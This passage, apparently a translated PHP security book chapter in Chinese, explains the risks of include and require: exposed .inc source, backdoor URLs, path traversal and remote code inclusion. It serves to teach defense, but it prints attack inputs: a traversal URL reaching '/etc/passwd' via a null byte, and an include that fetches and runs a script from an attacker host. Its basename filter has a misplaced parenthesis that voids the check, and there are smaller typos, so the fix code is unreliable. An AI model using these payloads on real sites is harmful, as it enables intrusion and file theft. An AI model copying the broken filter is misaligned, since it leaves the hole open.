隨著PHP項目的增大,軟體設計與組織在代碼的可維護性上起著越來越重要的作用。儘管對於什麼是最好的編程方式眾說紛紜(關於物件導向優點的爭論常常發生),但基本上每個開發人員會理解和欣賞模組化設計的價值。
本章說明了使用包含時會面臨的安全問題。指令碼中include或require的檔案把你的應用分成了邏輯上分離的兩部分。我還會著重強調和糾正一些常見的誤解,特別是有關於如何編程的問題。
小提示
當使用include和require時,應該使用include_once與require_once來包含。
5.1. 源碼暴露
關於包含的一個重要問題是原始碼的暴露。產生這個問題主要原因是下面的常見情況:
l 對包含檔案使用.inc的副檔名
l 包含檔案儲存在網站主目錄下
l Apache未設定.inc檔案的類型
l Apache的預設檔案類型是text/plain
上面情況造成了可以通過URL直接存取包含檔案。更糟的是,它們會被作為普通文本處理而不會被PHP所解析,這樣你的原始碼就會顯示在使用者的瀏覽器上(見圖5-1)。
圖 5-1. 原始碼在伺服器中的暴露
避免這種情況很容易。只能重組你的應用,把所有的包含檔案放在網站主目錄之外就可以了,最好的方法是只把需要公開發布的檔案放置在網站主目錄下。
雖然這聽起來有些瘋狂,很多情形下能導致源碼的暴露。我曾經看到過Apache的設定檔被誤寫(並且在下次啟動前未發現),沒有經驗的系統管理員升級了Apache但忘了加入PHP支援,還有一大堆情形能導致源碼暴露。
通過在網站主目錄外儲存儘可能多的PHP代碼,你可以防止原始碼的暴露。至少,把所有的包含檔案儲存在網站主目錄外是一個最好的辦法。
一些方法能限制源碼暴露的可能性但不能從根本上解決這個問題。這些方法包括在Apache中配置.inc檔案與PHP檔案一樣處理,包含檔案使用.php尾碼,配置Apache不能接受對.inc檔案的直接請求:
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
雖然這些方法有其優點,但沒有一個方法在安全性上能與把包含檔案放在網站主目錄之外的做法相比。不要依賴於上面的方法對你的應用進行保護,至多把它們當做深度防範來對待。
·
5.2. 後門URL
後門URL是指雖然無需直接調用的資源能直接通過URL訪問。例如,下面WEB應用可能向登入使用者顯示敏感資訊:
<?php
$authenticated = FALSE;
$authenticated = check_auth();
/* ... */
if ($authenticated)
{
include './sensitive.php';
}
?>
由於sensitive.php位於網站主目錄下,用瀏覽器能跳過驗證機制直接存取到該檔案。這是由於在網站主目錄下的所有檔案都有一個相應的URL地址。在某些情況下,這些指令碼可能執行一個重要的操作,這就增大了風險。
為了防止後門URL,你需要確認把所有包含檔案儲存在網站主目錄以外。所有儲存在網站主目錄下的檔案都是必須要通過URL直接存取的。
5.3. 檔案名稱操縱
在很多情形下會使用動態包含,此時目錄名或檔案名稱中的部分會儲存在一個變數中。例如,你可以緩衝你的部分動態網頁來降低你的資料庫伺服器的負擔。
<?php
include "/cache/{$_GET['username']}.html";
?>
為了讓這個漏洞更明顯,樣本中使用了$_GET。如果你使用了受汙染資料時,這個漏洞同樣存在。使用$_GET['username']是一個極端的例子,通過它可以把問題看得更清楚。
雖然上面的流程有其優點,但它同時為攻擊者提供了一個可以自由選擇快取頁面的良機。例如,一個使用者可以方便地通過編輯URL中的username的值來察看其他使用者的快取檔案。事實上,攻擊者可以通過簡單的更改username的值為相應的檔案名稱(不加副檔名)來察看/cache目錄下的所有副檔名為.html的檔案。
http://example.org/index.php?username=filename
儘管該程式限制了攻擊者所操作的目錄和檔案名稱,但變更檔案名稱並不是唯一的手段。攻擊者可以創造性地達到在檔案系統中進行跨越的目的,而去察看其他目錄中的.html檔案以發現敏感資訊。這是因為可以在字串使用父目錄的方式進行目錄跨越:
http://example.org/index.php?username=../admin/users
上面URL的運行結果如下:
<?php
include "/cache/../admin/users.html";
?>
此時,..意味著/cache的父目錄,也就是根目錄。這樣上面的例子就等價於:
<?php
include "/admin/users.html";
?>
由於所有的檔案都會在檔案系統的根目錄下,該流程就允許了一個攻擊者能訪問你伺服器上所有的.html檔案。
在某些平台上,攻擊者還可以使用一個NULL來終止字串,例如:
http://example.org/index.php?username=../etc/passwd%00
這樣就成功地繞開了.html副檔名的限制。
當然,一味地去通過猜測攻擊者的所有惡意攻擊手段是不可能的,無論你在檔案上加上多少控制,也不能排除風險。重要的是在動態包含時永遠不要使用被汙染資料。攻擊手段不是一成不變的,但漏洞不會變化。只要通過過濾資料即可修複這個漏洞(見第一章):
<?php
$clean = array();
/* $_GET['filename'] is filtered and stored in $clean['filename']. */
include "/path/to/{$clean['filename']}";
?>
如果你確認參數中只有檔案名稱部分而沒有路徑資訊時,另一個有效技巧是通過使用basename( )來進行資料的過濾:
<?php
$clean = array();
if (basename($_GET['filename'] == $_GET['filename'])
{
$clean['filename'] = $_GET['filename'];
}
include "/path/to/{$clean['filename']}";
?>
如果你允許有路徑資訊但想要在檢測前把它化簡,你可以使用realpath()函數:
<?php
$filename = realpath("/path/to/{$_GET['filename']}");
?>
通過上面程式處理得到的結果($filename)可以被用來確認是否位於/path/to目錄下:
<?php
$pathinfo = pathinfo($filename);
if ($pathinfo['dirname'] == '/path/to')
{
/* $filename is within /path/to */.
}
?>
如果檢測不通過,你就應該把這個請求記錄到攻擊日誌以備後查。這個在你把這個流程作為深度防範措施時特別重要,因為你要確定其它的安全手段失效的原因。
5.4. 代碼注入
一個特別危險的情形是當你試圖使用被汙染資料作為動態包含的前置部分時:
<?php
include "{$_GET['path']}/header.inc";
?>
在這種情形下攻擊者能操縱不只是檔案名稱,還能控制所包含的資源。由於PHP預設不只可以包含檔案,還可以包含下面的資源(由設定檔中的allow_url_fopen所控制):
<?php
include 'http://www.google.com/';
?>
include語句在此時會把http://www.google.com的網頁原始碼作為本地檔案一樣包含進來。雖然上面的例子是無害的,但是想像一下如果GOOGLE返回的原始碼包含PHP代碼時會如何。這樣其中包含的PHP代碼就會被解析並執行。這是攻擊者藉以發布惡意代碼摧毀你的安全體系的良機。
想象一下path的值指向了下面的攻擊者所控制的資源:
http://example.org/index.php?pat ... e.org%2Fevil.inc%3F
在上例中,path的值是URL編碼過的,原值如下:
http://evil.example.org/evil.inc?
這就導致了include語句包含並執行了攻擊者所選定的指令碼(evil.inc),同時原來的檔案名稱/header.inc會被認為是一個請求串:
<?php
include "http://evil.example.org/evil.inc?/header.inc";
?>
這樣攻擊者就避免了去猜測剩下的目錄和檔案名稱(/header.onc)並在evil.example.org上建立相同的路徑和檔案名稱的必要性。相反地,在受攻擊網站的具體檔案名稱被屏蔽的情況下,他只要保證evil.inc中輸出合法的他想要執行的代碼就行了。
這種情況與允許攻擊者在你的網站上直接修改PHP代碼一樣危險。幸運的是,只要在include和require語句前對資料進行過濾即可防止這種情況的發生:
<?php
$clean = array();
/* $_GET['path'] is filtered and stored in $clean['path']. */
include "{$clean['path']}/header.inc";
?>